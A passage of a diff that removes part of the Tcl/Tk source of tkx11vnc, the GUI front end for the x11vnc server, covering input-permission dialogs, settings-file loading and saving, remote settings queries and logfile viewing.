- append str "M"
- }
- if {$vr_bb} {
- append str "B"
- }
- if {$vr_bc} {
- append str "C"
- }
- if {$vr_bf} {
- append str "F"
- }
- entry_insert $str
-}
-
-proc insert_input_window {} {
- global text_area cleanup_window
- global ffont menu_var
- global vl_bk vl_bm vl_bb vl_bc vl_bf vr_bk vr_bm vr_bb vr_bc vr_bf
-
- append_text "\nUse these checkboxes to set the input permissions, "
- append_text "or type in the \"KMBCF...\"\n"
- append_text "-input string manually. Then press \"OK\" or \"Cancel\".\n"
- append_text "(note: an empty setting means use the default behavior, "
- append_text "see viewonly)\n\n"
- set w "$text_area.wk_f"
- catch {destroy $w}
- frame $w -bd 1 -relief ridge -cursor {top_left_arrow}
- set fl $w.fl
- frame $fl
- set fr $w.fr
- frame $fr
- label $fl.l -font $ffont -text "Normal clients: "
- checkbutton $fl.bk -pady 1 -font $ffont -anchor w -variable vl_bk \
- -pady 1 -command set_kmbc_str -text "Keystrokes"
- checkbutton $fl.bm -font $ffont -anchor w -variable vl_bm \
- -pady 1 -command set_kmbc_str -text "Mouse-Motion"
- checkbutton $fl.bb -font $ffont -anchor w -variable vl_bb \
- -pady 1 -command set_kmbc_str -text "Button-Click"
- checkbutton $fl.bc -font $ffont -anchor w -variable vl_bc \
- -pady 1 -command set_kmbc_str -text "Clipboard-Input"
- checkbutton $fl.bf -font $ffont -anchor w -variable vl_bf \
- -pady 1 -command set_kmbc_str -text "Files"
- label $fr.l -pady 1 -font $ffont -text "View-Only clients:"
- checkbutton $fr.bk -font $ffont -anchor w -variable vr_bk \
- -pady 1 -command set_kmbc_str -text "Keystrokes"
- checkbutton $fr.bm -font $ffont -anchor w -variable vr_bm \
- -pady 1 -command set_kmbc_str -text "Mouse-Motion"
- checkbutton $fr.bb -font $ffont -anchor w -variable vr_bb \
- -pady 1 -command set_kmbc_str -text "Button-Click"
- checkbutton $fr.bc -font $ffont -anchor w -variable vr_bc \
- -pady 1 -command set_kmbc_str -text "Clipboard-Input"
- checkbutton $fr.bf -font $ffont -anchor w -variable vr_bf \
- -pady 1 -command set_kmbc_str -text "Files"
-
- if {[info exists menu_var(input)]} {
- set input_str $menu_var(input)
- } else {
- set input_str ""
- }
-
- if {[regexp {(.*),(.*)} $input_str match normal viewonly]} {
- ;
- } else {
- set normal $input_str
- set viewonly ""
- }
- set vl_bk 0
- set vl_bm 0
- set vl_bb 0
- set vl_bc 0
- set vl_bf 0
-
- set vr_bk 0
- set vr_bm 0
- set vr_bb 0
- set vr_bc 0
- set vr_bf 0
-
- if {[regexp -nocase {K} $normal]} {
- set vl_bk 1
- }
- if {[regexp -nocase {M} $normal]} {
- set vl_bm 1
- }
- if {[regexp -nocase {B} $normal]} {
- set vl_bb 1
- }
- if {[regexp -nocase {C} $normal]} {
- set vl_bc 1
- }
- if {[regexp -nocase {F} $normal]} {
- set vl_bf 1
- }
- if {[regexp -nocase {K} $viewonly]} {
- set vr_bk 1
- }
- if {[regexp -nocase {M} $viewonly]} {
- set vr_bm 1
- }
- if {[regexp -nocase {B} $viewonly]} {
- set vr_bb 1
- }
- if {[regexp -nocase {C} $viewonly]} {
- set vr_bc 1
- }
- if {[regexp -nocase {F} $viewonly]} {
- set vr_bf 1
- }
-
- pack $fl.l $fl.bk $fl.bm $fl.bb $fl.bc $fl.bf -side top -fill x
- pack $fr.l $fr.bk $fr.bm $fr.bb $fr.bc $fr.bf -side top -fill x
- pack $fl $fr -side left
- update
- update idletasks
- $text_area window create end -window $w
- $text_area see end
- $text_area insert end "\n"
-# $text_area insert end "\n\n\n\n\n\n\n\n\n"
-
- set cleanup_window $w
-}
-
-proc set_ca_str {w} {
- global ca_bk ca_bm ca_bb ca_bc ca_bf ca_di
-
- if {$ca_di} {
- entry_insert "disconnect"
- $w.bk configure -state disabled
- $w.bm configure -state disabled
- $w.bb configure -state disabled
- $w.bc configure -state disabled
- $w.bf configure -state disabled
- return
- }
-
- $w.bk configure -state normal
- $w.bm configure -state normal
- $w.bb configure -state normal
- $w.bc configure -state normal
- $w.bf configure -state normal
-
- set str ""
- if {$ca_bk} {
- append str "K"
- }
- if {$ca_bm} {
- append str "M"
- }
- if {$ca_bb} {
- append str "B"
- }
- if {$ca_bc} {
- append str "C"
- }
- if {$ca_bf} {
- append str "F"
- }
- entry_insert $str
-}
-
-proc insert_client_action_window {input} {
- global text_area cleanup_window
- global ffont menu_var
- global ca_bk ca_bm ca_bb ca_bc ca_bf ca_di
-
- append_text "\nUse these checkboxes to set the input permissions "
- append_text "for this client\n-OR- whether to disconnect it instead. "
- append_text "Then press \"OK\" or \"Cancel\".\n\n"
- set w "$text_area.ca_f"
- catch {destroy $w}
- frame $w -bd 1 -relief ridge -cursor {top_left_arrow}
- checkbutton $w.di -pady 1 -font $ffont -anchor w -variable ca_di \
- -pady 1 -command "set_ca_str $w" -text "Disconnect "
- checkbutton $w.bk -font $ffont -anchor w -variable ca_bk \
- -pady 1 -command "set_ca_str $w" -text "Keystrokes"
- checkbutton $w.bm -font $ffont -anchor w -variable ca_bm \
- -pady 1 -command "set_ca_str $w" -text "Mouse-Motion"
- checkbutton $w.bb -font $ffont -anchor w -variable ca_bb \
- -pady 1 -command "set_ca_str $w" -text "Button-Click"
- checkbutton $w.bc -font $ffont -anchor w -variable ca_bc \
- -pady 1 -command "set_ca_str $w" -text "Clipboard"
- checkbutton $w.bf -font $ffont -anchor w -variable ca_bf \
- -pady 1 -command "set_ca_str $w" -text "Files"
-
- set ca_di 0
- set ca_bk 0
- set ca_bm 0
- set ca_bb 0
- set ca_bf 0
- set ca_bc 0
-
- if {[regexp -nocase {K} $input]} {
- set ca_bk 1
- }
- if {[regexp -nocase {M} $input]} {
- set ca_bm 1
- }
- if {[regexp -nocase {B} $input]} {
- set ca_bb 1
- }
- if {[regexp -nocase {C} $input]} {
- set ca_bc 1
- }
- if {[regexp -nocase {F} $input]} {
- set ca_bf 1
- }
-
- pack $w.di $w.bk $w.bm $w.bb $w.bc $w.bf -side left
- update
- update idletasks
- $text_area window create end -window $w
- $text_area see end
- $text_area insert end "\n"
-
- set cleanup_window $w
-}
-
-proc cleanup_text_window {} {
- global cleanup_window
- if {[info exists cleanup_window]} {
- catch {destroy $cleanup_window}
- }
-}
-
-# For updating a string variable. Also used for simple OK/Cancel dialogs
-# with entry = 0.
-proc entry_dialog {item {entry 1}} {
- global menu_var entry_str entry_set entry_dialog_item
- global unset_str connected_to_x11vnc entry_box
-
- set entry_str "Set $item"
- set entry_set 0
- set entry_dialog_item $item
-
- entry_enable
- menus_disable
-
- if {$item == "passwd" || $item == "viewpasswd"} {
- $entry_box configure -show "*"
- }
-
- if {$entry} {
- entry_insert ""
- if {[info exists menu_var($item)] &&
- $menu_var($item) != $unset_str} {
- entry_insert $menu_var($item)
- entry_select
- }
-
- if {[is_browse $item]} {
- entry_browse_button
- }
- set_info "Set parameter in entry box, "
- entry_focus
- } else {
- entry_disable box
- }
-
- set clean_text_window 0;
-
- if {$item == "input"} {
- insert_input_window
- set clean_text_window 1
- }
-
- update
-
- # wait for user reply:
- vwait entry_set
-
- set rc $entry_set
- set entry_set 0
-
- set value [entry_get]
- update
-
- entry_browse_button 0
- set entry_str "Set... :"
-
- entry_delete
- entry_disable
- menus_enable
-
- if {$clean_text_window} {
- cleanup_text_window;
- }
-
- update
-
- if {! $entry} {
- ;
- } elseif {$rc} {
- set menu_var($item) $value
- } else {
- if {[in_debug_mode]} {
- append_text "skipped setting $item\n"
- }
- }
-
- $entry_box configure -show ""
-
- return $rc
-}
-
-proc warning_dialog {msg {item "gui"} } {
- append_text $msg
- # just reuse the entry widgets for a yes/no dialog
- return [entry_dialog $item 0]
-}
-
-# For updating a boolean toggle:
-proc check_var {item} {
- global menu_var
-
- set inval $menu_var($item);
-
- if {$item == "debug_gui"} {
- return "";
- }
-
- set rname $item
- if {! $inval} {
- if {[regexp {^no} $item]} {
- regsub {^no} $rname "" rname
- } else {
- set rname "no$rname"
- }
- }
- return $rname
-}
-
-proc see_if_ok {query item expected} {
- global query_result_list
-
- set ok 0
- set found ""
-
- set query_result_list [split_query $query]
-
- foreach q $query_result_list {
- # XXX following will crash if $item is not a good regexp
- # need to protect it \Q$item\E style...
-# if {[regexp "^$item:" $q]} {
-# set found $q
-# }
- if {[string first "$item:" $q] == 0} {
- set found $q
- }
- if {$q == $expected} {
- set ok 1
- if {$found != ""} {
- break;
- }
- }
- }
- if {$found == ""} {
- set msg $query
- regsub {^a..=} $msg {} msg
- if {[string length $msg] > 60} {
- set msg [string range $msg 0 60]
- }
- } else {
- set msg $found
- }
- if {!$ok && $found != ""} {
- # check for floating point match:
- set v1 ""
- set v2 ""
- regexp {:([0-9.][0-9.]*)$} $found m0 v1
- regexp {:([0-9.][0-9.]*)$} $expected m0 v2
- if {$v1 != "" && $v2 != ""} {
- set diff ""
- catch {set diff [expr "$v1 - $v2"]}
- if {$diff != ""} {
- if {$diff < 0} {
- set diff [expr "0.0 - $diff"]
- }
- if {$diff < 0.00001} {
- set ok 1
- }
- }
- }
- }
- if {$ok} {
- append_text "\tSet OK ($msg)\n"
- return 1
-
- } elseif {[opt_match P $item] && [regexp {:(-|\+)} $expected]} {
- # e.g. blackout:+30x30+20+20
- append_text "\t($msg)\n"
- return 1
- } elseif {[regexp {:[0-9]\.[0-9]} $expected]} {
- append_text "\t($msg)\n"
- return 1
- } elseif {$item == "connect" || $item == "disconnect"
- || $item == "client" || $item == "client_input"} {
- append_text "\t($msg)\n"
- return 1
- } elseif {$item == "passwd" || $item == "viewpasswd"} {
- append_text "\t($msg)\n"
- return 1
- } else {
- append_text "\t*FAILED* $msg\n"
- return 0
- }
-}
-
-proc get_default_vars {} {
- global default_var env
-
- set qry [all_query_vars]
-
- append qry ",vncconnect"
-
- set q ""
- set i 0
- set all ""
- foreach s [split $qry ","] {
- if {$q != ""} {
- append q ","
- }
- append q $s
- incr i
- if {$i > 50} {
- set qargs [list "-QD" $q]
- set a [run_remote_cmd $qargs]
- if [info exists env(TKX11VNC_PRINT_ALL_QD)] {
- puts $q
- puts $a
- puts "---------------"
- }
- if {$all != ""} {
- append all ","
- }
- append all $a
- set q ""
- set i 0
- }
- }
- if {$q != ""} {
- set qargs [list "-QD" $q]
- set a [run_remote_cmd $qargs]
- if [info exists env(TKX11VNC_PRINT_ALL_QD)] {
- puts $q
- puts $a
- puts "---------------"
- }
- if {$all != ""} {
- append all ","
- }
- append all $a
- }
-
-# old way, qry too long...
-# set qargs [list "-QD" $qry]
-# set all [run_remote_cmd $qargs]
-
- if {[regexp {ans=} $all]} {
- #append_text "Retrieved all default settings.\n"
- } else {
- #append_text "Failed to retrieve default settings.\n"
- }
-
- set query_result_list [split_query $all]
-
- set default_var(gui) ""
-
- foreach piece $query_result_list {
- if {[regexp {^([^:][^:]*):(.*)$} $piece m0 item val]} {
- if {$val == "N/A"} {
- if {$item == "vncconnect"} {
- set val 1
- } else {
- set val ""
- }
- }
- if {$item == "display"} {
- set val ""
- } elseif {$item == "desktop"} {
- set val ""
- } elseif {$item == "auth"} {
- set val ""
- } elseif {$item == "gui"} {
- continue
- }
- # some hacks we do here for now..
- if {$item == "cursor" && $val == ""} {
- set val "most"
- } elseif {$item == "scrollcopyrect" && $val == ""} {
- set val "always"
- } elseif {$item == "wirecopyrect" && $val == ""} {
- set val "always"
-# } elseif {$item == "overlay_nocursor" && $val == 0} {
-# set val 1
- }
-
- set default_var($item) $val
-#puts "default: $item -> $val"
- }
- }
-}
-
-proc tilde_expand {file} {
- global env
- if {[file exists $file]} {
- return $file
- }
-
- set user ""
- if {[info exists env(USER)]} {
- set user $env(USER)
- }
- if {$user == "" && [info exists env(LOGNAME)]} {
- set user $env(LOGNAME)
- }
-
- set home ""
- if {[info exists env(HOME)]} {
- set home $env(HOME)
- } elseif {$user != ""} {
- set home "/home/$user"
- }
-
- if {[regexp {^~} $file]} {
- if {[regexp {^~/} $file]} {
- if {$home != ""} {
- regsub {^~} $file $home file
- }
- } else {
- regsub {^~} $file "/home/" file
- }
- }
- return $file
-}
-
-proc insert_cmdline_vars {} {
- global env cmd_var menu_var default_var x11vnc_cmdline
- if {![info exists x11vnc_cmdline]} {
- return
- }
- if {$x11vnc_cmdline == ""} {
- return
- }
- set cmd_var(novar) 1
- set str [string trim $x11vnc_cmdline]
-
- while {[regexp -- {^-} $str]} {
- if {[regexp -- {^--*([^ \t][^ \t]*)(.*)$} $str m var rest]} {
- set rest [string trim $rest]
- set var [string trim $var]
- if {[regexp {^\{\{([^\}]*)\}\}(.*)} $rest m val rest]} {
- set str [string trim $rest]
- set cmd_var($var) $val
- } else {
- set str $rest
- set cmd_var($var) "boolean"
- }
- } else {
- break
- }
- }
-
- if {[info exists cmd_var(rc)]} {
- load_settings $cmd_var(rc)
- } elseif {[info exists cmd_var(norc)]} {
- ;
- } else {
- set filex [tilde_expand "~/.x11vncrc"]
- if {[file exists $filex]} {
- load_settings $filex
- }
- }
-
- foreach var [array names cmd_var] {
- if {$var == "novar"} {
- continue
- }
- if {[regexp {^[ \t]*$} $var]} {
- continue
- }
- if {[info exists menu_var($var)]} {
- if {$cmd_var($var) == "boolean"} {
- set menu_var($var) 1
- } else {
- set menu_var($var) $cmd_var($var)
- }
- }
- }
-}
-
-proc copy_default_vars {} {
- global menu_var default_var
- foreach item [array names default_var] {
- if {[info exists menu_var($item)]} {
- if {[info exists default_var($item)]} {
- set menu_var($item) $default_var($item)
- }
- }
- }
- foreach item [array names menu_var] {
- if {[info exists default_var($item)]} {
- set menu_var($item) $default_var($item)
- }
- }
-}
-
-proc update_menu_vars {{query ""}} {
- global all_settings menu_var query_result_list
- global x11vnc_icon_mode
-
- set debug [in_debug_mode]
-
- if {$query == "USE_LIST"} {
- ;
- } elseif {$query == ""} {
- set query_result_list [split_query $all_settings]
- } else {
- set query_result_list [split_query $query]
- }
-
- foreach piece $query_result_list {
-#puts stderr "UMV: $piece"
- if [regexp {icon_mode:0} $piece] {
- set x11vnc_icon_mode 0
- #puts stderr "x11vnc_icon_mode: $x11vnc_icon_mode"
- }
- if [regexp {icon_mode:1} $piece] {
- set x11vnc_icon_mode 1
- #puts stderr "x11vnc_icon_mode: $x11vnc_icon_mode"
- }
- # XXX ipv6
- if {[regexp {^([^:][^:]*):(.*)$} $piece m0 item val]} {
- if {[info exists menu_var($item)]} {
- set old $menu_var($item)
-#puts stderr " $old"
- if {$val == "N/A"} {
- continue
- }
- set menu_var($item) $val
- }
- if {$item == "clients"} {
- update_clients_menu $val
- } elseif {$item == "display"} {
- set_x11_display $val
- } elseif {$item == "vncdisplay"} {
- set_vnc_display $val
- } elseif {$item == "http_url"} {
- set_vnc_url $val
- }
- }
- }
-}
-
-proc load_settings {{file ""}} {
- global menu_var default_var env
-
- if {$file == ""} {
- if {![info exists menu_var(load-settings)]} {
- return
- }
- set file $menu_var(load-settings)
- }
- if {$file == ""} {
- return
- }
-
- set fh ""
- set filex [tilde_expand $file]
- catch {set fh [open $filex "r"]}
-
- if {$fh == ""} {
- append_text "load_settings: *** failed to open $filex ***\n"
- return
- }
- copy_default_vars
-
- set str ""
- while {[gets $fh line] > -1} {
- regsub -all {\\#} $line {__QUOTED_HASH__} line
- if {[regexp {^[ \t]*#} $line]} {
- continue
- }
- for {set i 0} {$i < 5} {incr i} {
- regsub {#.*$} $line "" line
- }
- if {[regexp {^[ \t]*$} $line]} {
- continue
- }
- regsub -all {__QUOTED_HASH__} $line {#} line
- if {[regexp {\\$} $line]} {
- regsub {\\$} $line " " line
- append str "$line"
- } else {
- append str "$line\n"
- }
- }
- close $fh
-
- set count 0
- set parms ""
-
- foreach line [split $str "\n"] {
- set line [string trim $line]
- regsub {^--*} $line "" line
- regsub -all {[ \t][ \t]*} $line " " line
- set list [split $line]
- set item [lindex $list 0]
- set value [lindex $list 1]
- if {[regexp {^[ \t]*$} $item]} {
- continue
- }
- if {$item == "gui"} {
- continue
- }
- if {[info exists menu_var($item)]} {
- if {[value_is_bool $item]} {
- set menu_var($item) 1
- incr count
- append parms " -$item\n"
- } elseif {[value_is_string $item]} {
- if {$value != ""} {
- set menu_var($item) $value
- set nitem [get_nitem $item]
- append parms " -$nitem $value\n"
- incr count
- }
- }
- }
- }
- append_text "loaded $count parameter settings from $filex"
- if {$count > 0} {
- append_text ":\n"
- append_text $parms
- } else {
- append_text ".\n"
- }
-}
-
-proc save_settings {} {
- set rc_text [get_settings_rcfile]
-
- set top "#
-# This file is based on the current x11vnc settings and can be used as
-# as a ~/.x11vncrc defaults file. If saved to another filename, these
-# settings can be passed to x11vnc at startup via \"-rc <filename>\".
-#
-# The rc file comment character is \"#\". Use \"\\#\" for the literal char.
-# You can continue lines using \"\\\" as the last character of a line.
-#
-# Lines beginning with \"#d\" indicate the parameter value is at its default
-# setting and you probably want to leave it commented out.
-#
-# Lines beginning with \"#?\" indicate parameters you probably do not
-# want to hardwire to the current setting (uncomment if you want that).
-#
-# Some parameters are boolean, e.g. -forever, and take no value; while
-# the others, e.g. -wait 50, take a string or numerical value.
-#
-# For booleans, the line will end with comment \"default: on\" or
-# \"default: off\" indicating the default setting. (Note: often
-# \"-nofoobar\" corresponds to option \"-foobar\" and the former is
-# \"the default\", e.g. -norepeat).
-#
-# For string or numerical options, the value \"\" in a line below
-# means the default is unset and you will need to supply some non-empty
-# value to use the parameter. For reference, if the default differs
-# from your value it placed at the end of the line as a comment.
-#
-# Feel free to uncomment or comment any of the lines or to change any
-# of the values of the parameters. Don't be surprised that most if not
-# all of the lines below are commented out (x11vnc has so many parameters,
-# most of them will be at their default values).
-#-------------------------------------------------------------------------
-
-"
-
- set rc_text "$top$rc_text"
-
- global env save_settings_var save_settings_var_ok
- if {[info exists env(HOME)]} {
- set save_settings_var "$env(HOME)/.x11vncrc"
- } else {
- set save_settings_var ".x11vncrc"
- }
- set save_settings_var_ok 0
-
- set w [textwin "save_settings" "Save Settings..." $rc_text \
- "save_settings_var+Save as:"]
-
- tkwait window $w
-
- if {$save_settings_var_ok == 1} {
- set file $save_settings_var
- if {$file == ""} {
- return
- }
- set file [tilde_expand $file]
- append_text "\nSaving current settings to $file ...\n"
- if {[file exists $file]} {
- set backup "${file}~"
- append_text "Backing up $file -> $backup ...\n"
- catch {file delete -force $backup}
- set emsg "*** Backup to $backup failed. ***\n"
- if {![file exists $backup]} {
- catch {file copy -force $file $backup}
- if {![file exists $backup]} {
- append_text $emsg
- bell
- }
- } else {
- append_text $emsg
- bell
- }
- }
- set fh ""
- catch {set fh [open $file "w"]}
- if {$fh != ""} {
- puts $fh $rc_text
- close $fh
- if {![file exists $file]} {
- append_text "*** Saving to $file failed. ***\n"
- bell
- } else {
- append_text "Done.\n"
- }
- } else {
- append_text "*** Open of $file failed. ***\n"
- bell
- }
- }
-}
-
-proc clear_all {} {
- global menu_var unset_str
-
- set debug [in_debug_mode]
-
- foreach item [array names menu_var] {
- if {$item == "debug_gui"} {
- continue
- }
- if {[info exists menu_var($item)]} {
- if {[is_action $item]} {
- set menu_var($item) ""
- } elseif {[value_is_bool $item]} {
- set menu_var($item) 0
- } elseif {[value_is_string $item]} {
- set menu_var($item) $unset_str
- }
- }
- }
- append_text "Cleared all settings.\n"
-}
-
-proc defaults_all {} {
- copy_default_vars
- append_text "Reset all variables to default values.\n"
-}
-
-proc all_query_vars {} {
- global query_ans_list query_aro_list all_settings
- global cache_all_query_vars
-
- if {$cache_all_query_vars != ""} {
- return $cache_all_query_vars
- }
-
- set qry ""
- foreach item $query_ans_list {
- if {$qry == ""} {
- set qry $item
- } else {
- append qry ",$item"
- }
- }
- foreach item $query_aro_list {
- if {$qry == ""} {
- set qry $item
- } else {
- append qry ",$item"
- }
- }
- set cache_all_query_vars $qry
-
- global env
- if [info exists env(TKX11VNC_PRINT_ALL_VARS)] {
- puts "--------------- BEGIN ALL VARS ---------------"
- puts $qry
- puts "--------------- END ALL VARS ---------------"
- }
-
- return $qry
-}
-
-proc query_all {{quiet 0}} {
- global query_ans_list query_aro_list all_settings
- global last_query_all_time
-
- dtime 1
- set qry [all_query_vars]
-
- set qargs [list "-Q" $qry]
- set all [run_remote_cmd $qargs]
-
- if {[regexp {ans=} $all]} {
- if {! $quiet} {
- append_text "Retrieved all current settings.\n"
- }
- set all_settings $all
- update_menu_vars $all
- } else {
- if {! $quiet} {
- append_text "Failed to retrieve current settings.\n"
- }
- }
- set last_query_all_time [clock seconds]
- dtime 2
- return $all
-}
-
-proc set_info {str} {
- global info_str info_label
-#set w1 [$info_label cget -width]
-#set w2 [winfo width $info_label]
-#puts "set_info: w=$w1 winfo=$w2"
-#append_text "$str\n"
- set info_str "$str"
- update
-}
-
-proc append_text {str} {
- global text_area text_area_str
-
- if {![info exists text_area_str]} {
- set text_area_str ""
- }
- append text_area_str $str
-
- if {![info exists text_area]} {
- puts stderr $str
- return
- }
- if {$text_area == ""} {
- puts stderr $str
- return
- }
- if {![winfo exists $text_area]} {
- puts stderr $str
- return
- }
-
- $text_area insert end $str
- $text_area see end
-}
-
-proc show_all_settings {} {
- global all_settings
- global client_sock client_tail
- global x11vnc_client_file
-
- set txt "\nRead-Write settings:\n\n"
- foreach item [split_query $all_settings] {
- regsub {:} $item {: } item
- append txt " $item\n"
- if {[regexp {noremote} $item]} {
- append txt "\nRead-Only settings:\n\n"
- }
- }
- append txt "\nInternal settings:\n\n"
- append txt "x11vnc_client_file: $x11vnc_client_file\n"
- if {[info exists client_tail]} {
- append txt "client_tail: $client_tail\n"
- } else {
- append txt "client_tail: unset\n"
- }
- if {[info exists client_sock]} {
- append txt "client_sock: $client_sock\n"
- } else {
- append txt "client_sock: unset\n"
- }
- set estr ""
- catch {set estr [exec env | grep -i X11VNC]}
- append txt "$estr\n"
- textwin "Settings" "All Current Settings" $txt
-}
-
-proc show_logfile {} {
- global menu_var unset_str
-
- set logfile [tilde_expand $menu_var(logfile)]
-
- if {$logfile == "" || $logfile == $unset_str} {
- set txt "\nNo logfile was specified at x11vnc startup.\n\n"
- } elseif {![file exists $logfile]} {
- set txt "\nLogfile \"$logfile\" does not exist.\n\n"
- } else {
- set fh "-3"
- set err ""
- catch {set fh [open $logfile "r"]} err
- if {$fh == "-3"} {
- set txt "\nError opening \"$logfile\" $err.\n\n"
- } else {
- set txt "\nLogfile \"$logfile\" current contents:\n"
- while {[gets $fh line] > -1} {
- append txt "$line\n"
- }
- close $fh
- }
- }
- textwin "Logfile" "Logfile" $txt
-}
-
-proc tail_logfile {} {
- global menu_var unset_str ffont
- set logfile $menu_var(logfile)
-
- set txt ""
- if {$logfile == "" || $logfile == $unset_str} {
- set txt "\nNo logfile was specified at x11vnc startup.\n\n"
- } elseif {![file exists $logfile]} {
- set txt "\nLogfile \"$logfile\" does not exist.\n\n"
- } else {
- set cmd ""
- set xterm_cmd "xterm -sb -fn $ffont -geometry 80x45 -title x11vnc-logfile -e"
- set cmd [split $xterm_cmd]
- lappend cmd "tail"
- lappend cmd "-3000f"
- lappend cmd $logfile
- lappend cmd "&"
- catch {[eval exec $cmd]}
- }
- if {$txt != ""} {
- textwin "Logfile" "Logfile" $txt
- }
-}
-
-proc set_connected {yesno} {
- global connected_to_x11vnc
- set orig $connected_to_x11vnc
-
- if {$yesno == "yes"} {
- set connected_to_x11vnc 1
- } else {
- set connected_to_x11vnc 0
- no_x11_display
- no_vnc_display
- }
- if {$orig != $connected_to_x11vnc} {
- set_widgets
- }
-}
-
-proc detach_from_display {} {
- global connected_to_x11vnc reply_xdisplay x11vnc_xdisplay
- set str "Detaching from X display."
- if {$reply_xdisplay != ""} {
- set str "Detaching from $reply_xdisplay."
- } elseif {$x11vnc_xdisplay != ""} {
- set str "Detaching from $x11vnc_xdisplay."
- }
- if {$connected_to_x11vnc} {
- append_text "$str\n"
- }
- set_connected no
-}
-
-proc do_stop_quit {} {
- push_new_value "stop" "stop" 1 0
- set_connected no
- update
- after 250
- destroy .
-}
-
-# Menu item is an action:
-proc do_action {item} {
- global menu_var connected_to_x11vnc beginner_mode
-
- if {[in_debug_mode]} {
- append_text "action: \"$item\"\n"
- }
-#puts "action: \"$item\"\n"
-
- if {$item == "ping"} {
- if {$beginner_mode} {
- try_connect_and_query_all
- } else {
- try_connect
- }
- return
- } elseif {$item == "start"} {
- start_x11vnc
- return
- } elseif {$item == "detach"} {
- detach_from_display
- return
- } elseif {$item == "attach"} {
- try_connect_and_query_all
- return
- } elseif {$item == "update-all"} {
- query_all
- return
- } elseif {$item == "clear-all"} {
- clear_all
- return
- } elseif {$item == "defaults-all"} {
- defaults_all
- return
- } elseif {$item == "save-settings"} {
- save_settings
- return
- } elseif {$item == "show-start-cmd"} {
- show_start_cmd
- return
- } elseif {$item == "all-settings"} {
- show_all_settings
- return
- } elseif {$item == "show-logfile"} {
- show_logfile
- return
- } elseif {$item == "tail-logfile"} {
- tail_logfile
- return
- } elseif {$item == "Misc-Tuning:"} {
- menu_help "$item"
- return
- } elseif {$item == "WindowView"} {
- change_view_state
- return
- } elseif {$item == "quit" || $item == "Quit"} {
- destroy .
- exit 0
- } elseif {$item == "stop+quit"} {
- do_stop_quit
- }
-
- if {[value_is_string $item]} {
- if {! [entry_dialog $item]} {
- return
- }
- set new $menu_var($item)
- set name $item
- } else {
- set new 1
- set name $item
- }
-
- if {$item == "load-settings"} {
- load_settings
- return
- }
-
- if {! $connected_to_x11vnc} {
- ;
- } elseif {[regexp {^(stop|quit|exit|shutdown)$} $item]} {
- # just do -R
- append_text "stopping remote x11vnc server...\n"
- push_new_value $item $name $new 0
- set_connected no
-
- } elseif {[opt_match Q $item]} {
- push_new_value $item $name $new 1
- } else {
- push_new_value $item $name $new 0
- }
-}
-
-proc ptime {time} {
- set usec [lindex [split $time] 0]
- set sec [format "%.3f" [expr "$usec / 1000000.0"]]
- puts "time: $sec secs."
-}
-
-proc do_var {item} {
- global connected_to_x11vnc item_cascade menu_var
-
- set debug [in_debug_mode]
-
- set string 0
- if {[is_action $item] || $item == "WindowView"} {
- # Menu item is action:
- if {$debug} {
- ptime [time {do_action $item}]
- } else {
- do_action $item
- }
- return
- }
-
- if {[value_is_string $item]} {
- # Menu item is a string:
- if {$item_cascade($item) != ""} {
- # Cascade sets variable automatically
- } else {
- # Otherwise Entry box
- if {![entry_dialog $item]} {
- return
- }
- }
- set new $menu_var($item)
- set name $item
- } else {
- # Menu item is a boolean:
- set name [check_var $item]
- if {$name == ""} {
- return
- }
- set new 1
- }
- if {$connected_to_x11vnc} {
- if {$debug} {
- ptime [time {push_new_value $item $name $new 1}]
- } else {
- push_new_value $item $name $new 1
- }
-
- if {$item == "http"} {
- global vnc_url
- append_text " URL: $vnc_url\n"
- }
- }
-}
-
-proc menu_help {item} {
- if ![help_win $item] {
- textwin "nohelp" "No help available" \
- "Sorry, no help avaiable for \"$item\""
- }
-}
-
-proc opt_match {c item} {
- global item_opts
- if {[info exists item_opts($item)]} {
- if {[regexp "^\[A-z\]*$c" $item_opts($item)]} {
- return 1
- }
- }
- return 0
-}
-
-proc is_action {item} {
- return [opt_match A $item]
-}
-
-proc is_gui_internal {item} {
- if {$item == "Properties"} {
- return 1
- }
- if {$item == "Tray"} {
- return 1
- }
- return [opt_match G $item]
-}
-
-proc is_browse {item} {
- return [opt_match F $item]
-}
-
-proc value_is_string {item} {
- global item_bool
- if {![info exists item_bool($item)]} {
- return 0
- }
- if {! $item_bool($item)} {
- return 1
- } else {
- return 0
- }
-}
-
-proc value_is_bool {item} {
- global item_bool
- if {![info exists item_bool($item)]} {
- return 0
- }
- if {$item_bool($item)} {
- return 1
- } else {
- return 0
- }
-}
-
-proc split_query0 {query} {
- # original slower way with regexp/regsub
- regsub -all {aro=} $query {ans=} query
- set items {}
- while {1} {
- if {! [regexp {^ans=(.*)$} $query m0 m1]} {
- break
- }
- set item $m1
- set m2 ""
- regexp {,ans=.*$} $item m2
- regsub {,ans=.*$} $item "" item
- if {$item != ""} {
- lappend items $item
- }
- set query $m2
- regsub {^,} $query "" query
- }
- return $items
-}
-
-proc split_query {query} {
- regsub -all {aro=} $query {ans=} query
- set items {}
- while {1} {
- set n [string first "ans=" $query]
- if {$n < 0} {
- break
- }
- set from [expr $n+4]
-
- set m [string first ",ans=" $query]
- if {$m < 0} {
- set more 0
- set item [string range $query $from end]
- } else {
- set more 1
- set to [expr $m-1]
- set item [string range $query $from $to]
- }
- if {$item != ""} {
- lappend items $item
- }
- if {$more} {
- incr m
- set query [string range $query $m end]
- } else {
- set query ""
- }
- }
- return $items
-}
-
-proc set_x11_display {name} {
- global x11_display
- set x11_display "x11vnc X display: $name"
- set_name "tkx11vnc - $name"
-}
-proc set_vnc_display {name} {
- global vnc_display icon_mode
- set vnc_display "VNC display: $name"
-
- if {$icon_mode} {
- set_icon_label
- }
-}
-proc set_vnc_url {name} {
- global vnc_url
- set vnc_url $name
-}
-proc no_x11_display {} {
- set_x11_display "(*none*)"
- set_name "tkx11vnc"
-}
-proc no_vnc_display {} {
- set_vnc_display "(*none*)"
-}
-proc no_vnc_url {} {
- set_vnc_url "(*none*)"
-}
-
-proc get_vnc_display_number {} {
- global vnc_display
- if ![info exists vnc_display] {
- return "none"
- }
- if {$vnc_display == ""} {
- return "none"
- }
- set str $vnc_display
- regsub {VNC display: *} $str "" str
- if [regexp {:([0-9][0-9]*)} $str m0 n] {
- return $n
- }
- return "none"
-}
-
-proc fetch_displays {} {
-
- set qargs [list "-Q" "display,vncdisplay"]
- set result [run_remote_cmd $qargs]
-
- set got_x11 0
- set got_vnc 0
- set got_url 0
-
- foreach item [split_query $result] {
- if {[regexp {^display:(.*)$} $item m0 m1]} {
- set_x11_display $m1
- set got_x11 1
- } elseif {[regexp {^vncdisplay:(.*)$} $item m0 m1]} {
- set_vnc_display $m1
- set got_vnc 1
